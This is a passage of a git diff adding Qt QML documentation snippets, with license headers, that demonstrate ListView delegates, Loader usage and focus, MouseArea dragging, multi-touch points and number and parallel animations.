INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +ListModel { + ListElement { + name: "Bill Smith" + number: "555 3264" + } + ListElement { + name: "John Brown" + number: "555 8426" + } + ListElement { + name: "Sam Wise" + number: "555 0473" + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/listview/listview.qml b/src/qml/doc/snippets/qml/listview/listview.qml new file mode 100644 index 0000000000..689e6d2c45 --- /dev/null +++ b/src/qml/doc/snippets/qml/listview/listview.qml @@ -0,0 +1,149 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![import] +import QtQuick 2.0 +//![import] + +Item { + +//![classdocs simple] +ListView { + width: 180; height: 200 + + model: ContactModel {} + delegate: Text { + text: name + ": " + number + } +} +//![classdocs simple] + +//![classdocs advanced] +Rectangle { + width: 180; height: 200 + + Component { + id: contactDelegate + Item { + width: 180; height: 40 + Column { + Text { text: '<b>Name:</b> ' + name } + Text { text: '<b>Number:</b> ' + number } + } + } + } + + ListView { + anchors.fill: parent + model: ContactModel {} + delegate: contactDelegate + highlight: Rectangle { color: "lightsteelblue"; radius: 5 } + focus: true + } +} +//![classdocs advanced] + +//![delayRemove] +Component { + id: delegate + Item { + ListView.onRemove: SequentialAnimation { + PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad } + PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false } + } + } +} +//![delayRemove] + +//![highlightFollowsCurrentItem] +Component { + id: highlight + Rectangle { + width: 180; height: 40 + color: "lightsteelblue"; radius: 5 + y: list.currentItem.y + Behavior on y { + SpringAnimation { + spring: 3 + damping: 0.2 + } + } + } +} + +ListView { + id: list + width: 180; height: 200 + model: ContactModel {} + delegate: Text { text: name } + + highlight: highlight + highlightFollowsCurrentItem: false + focus: true +} +//![highlightFollowsCurrentItem] + +//![isCurrentItem] +ListView { + width: 180; height: 200 + + Component { + id: contactsDelegate + Rectangle { + id: wrapper + width: 180 + height: contactInfo.height + color: ListView.isCurrentItem ? "black" : "red" + Text { + id: contactInfo + text: name + ": " + number + color: wrapper.ListView.isCurrentItem ? "red" : "black" + } + } + } + + model: ContactModel {} + delegate: contactsDelegate + focus: true +} +//![isCurrentItem] + +} diff --git a/src/qml/doc/snippets/qml/loader/KeyReader.qml b/src/qml/doc/snippets/qml/loader/KeyReader.qml new file mode 100644 index 0000000000..ef15a01bb1 --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/KeyReader.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + Item { + focus: true + Keys.onPressed: { + console.log("Loaded item captured:", event.text); + event.accepted = true; + } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/loader/MyItem.qml b/src/qml/doc/snippets/qml/loader/MyItem.qml new file mode 100644 index 0000000000..2879e7ae23 --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/MyItem.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + id: myItem + signal message(string msg) + + width: 100; height: 100 + + MouseArea { + anchors.fill: parent + onClicked: myItem.message("clicked!") + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/loader/connections.qml b/src/qml/doc/snippets/qml/loader/connections.qml new file mode 100644 index 0000000000..82d770b2cb --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/connections.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 100; height: 100 + + Loader { + id: myLoader + source: "MyItem.qml" + } + + Connections { + target: myLoader.item + onMessage: console.log(msg) + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/loader/focus.qml b/src/qml/doc/snippets/qml/loader/focus.qml new file mode 100644 index 0000000000..4447c62905 --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/focus.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + width: 200; height: 200 + + Loader { + id: loader + focus: true + } + + MouseArea { + anchors.fill: parent + onClicked: loader.source = "KeyReader.qml" + } + + Keys.onPressed: { + console.log("Captured:", event.text); + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/loader/simple.qml b/src/qml/doc/snippets/qml/loader/simple.qml new file mode 100644 index 0000000000..a4408c2231 --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/simple.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 200 + + Loader { id: pageLoader } + + MouseArea { + anchors.fill: parent + onClicked: pageLoader.source = "Page1.qml" + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/loader/sizeitem.qml b/src/qml/doc/snippets/qml/loader/sizeitem.qml new file mode 100644 index 0000000000..d673d82817 --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/sizeitem.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 200 + + Loader { + // position the Loader in the center of the parent + anchors.centerIn: parent + sourceComponent: rect + } + + Component { + id: rect + Rectangle { + width: 50 + height: 50 + color: "red" + } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/loader/sizeloader.qml b/src/qml/doc/snippets/qml/loader/sizeloader.qml new file mode 100644 index 0000000000..551324598c --- /dev/null +++ b/src/qml/doc/snippets/qml/loader/sizeloader.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** GNU Lesser General Public License Usage +** This file may be used under the terms of the GNU Lesser General Public +** License version 2.1 as published by the Free Software Foundation and +** appearing in the file LICENSE.LGPL included in the packaging of this +** file. Please review the following information to ensure the GNU Lesser +** General Public License version 2.1 requirements will be met: +** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU General +** Public License version 3.0 as published by the Free Software Foundation +** and appearing in the file LICENSE.GPL included in the packaging of this +** file. Please review the following information to ensure the GNU General +** Public License version 3.0 requirements will be met: +** http://www.gnu.org/copyleft/gpl.html. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms and +** conditions contained in a signed written agreement between you and Nokia. +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 200 + + Loader { + // Explicitly set the size of the Loader to the parent item's size + anchors.fill: parent + sourceComponent: rect + } + + Component { + id: rect + Rectangle { + width: 50 + height: 50 + color: "red" + } + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/mousearea/mousearea.qml b/src/qml/doc/snippets/qml/mousearea/mousearea.qml new file mode 100644 index 0000000000..1f35cd8b5f --- /dev/null +++ b/src/qml/doc/snippets/qml/mousearea/mousearea.qml @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [import] +import QtQuick 2.0 +//! [import] + +Rectangle { + width: childrenRect.width + height: childrenRect.height + + Row { + //! [intro] + Rectangle { + width: 100; height: 100 + color: "green" + + MouseArea { + anchors.fill: parent + onClicked: { parent.color = 'red' } + } + } + //! [intro] + + //! [intro-extended] + Rectangle { + width: 100; height: 100 + color: "green" + + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + onClicked: { + if (mouse.button == Qt.RightButton) + parent.color = 'blue'; + else + parent.color = 'red'; + } + } + } + //! [intro-extended] + + //! [drag] + Rectangle { + id: container + width: 600; height: 200 + + Rectangle { + id: rect + width: 50; height: 50 + color: "red" + opacity: (600.0 - rect.x) / 600 + + MouseArea { + anchors.fill: parent + drag.target: rect + drag.axis: Drag.XAxis + drag.minimumX: 0 + drag.maximumX: container.width - rect.width + } + } + } + //! [drag] + + //! [mousebuttons] + Text { + text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + + MouseArea { + id: mouseArea + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + } + } + //! [mousebuttons] + + } +} diff --git a/src/qml/doc/snippets/qml/mousearea/mouseareadragfilter.qml b/src/qml/doc/snippets/qml/mousearea/mouseareadragfilter.qml new file mode 100644 index 0000000000..922bfea636 --- /dev/null +++ b/src/qml/doc/snippets/qml/mousearea/mouseareadragfilter.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [dragfilter] +import QtQuick 2.0 + +Rectangle { + width: 480 + height: 320 + Rectangle { + x: 30; y: 30 + width: 300; height: 240 + color: "lightsteelblue" + + MouseArea { + anchors.fill: parent + drag.target: parent; + drag.axis: "XAxis" + drag.minimumX: 30 + drag.maximumX: 150 + drag.filterChildren: true + + Rectangle { + color: "yellow" + x: 50; y : 50 + width: 100; height: 100 + MouseArea { + anchors.fill: parent + onClicked: console.log("Clicked") + } + } + } + } +} +//! [dragfilter] diff --git a/src/qml/doc/snippets/qml/multipointtoucharea/multipointtoucharea.qml b/src/qml/doc/snippets/qml/multipointtoucharea/multipointtoucharea.qml new file mode 100644 index 0000000000..e4c2ffb039 --- /dev/null +++ b/src/qml/doc/snippets/qml/multipointtoucharea/multipointtoucharea.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + width: 400; height: 400 + MultiPointTouchArea { + anchors.fill: parent + touchPoints: [ + TouchPoint { id: point1 }, + TouchPoint { id: point2 } + ] + } + + Rectangle { + width: 30; height: 30 + color: "green" + x: point1.x + y: point1.y + } + + Rectangle { + width: 30; height: 30 + color: "yellow" + x: point2.x + y: point2.y + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/numberanimation.qml b/src/qml/doc/snippets/qml/numberanimation.qml new file mode 100644 index 0000000000..404381863d --- /dev/null +++ b/src/qml/doc/snippets/qml/numberanimation.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + width: 100; height: 100 + color: "red" + + NumberAnimation on x { to: 50; duration: 1000 } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/parallelanimation.qml b/src/qml/doc/snippets/qml/parallelanimation.qml new file mode 100644 index 0000000000..20f6ccc1df --- /dev/null +++ b/src/qml/doc/snippets/qml/parallelanimation.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + ParallelAnimation { + running: true + NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 } + NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/parentanimation.qml b/src/qml/doc/snippets/qml/parentanimation.qml new file mode 100644 index 0000000000..60429ed61c --- /dev/null +++ b/src/qml/doc/snippets/qml/parentanimation.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted 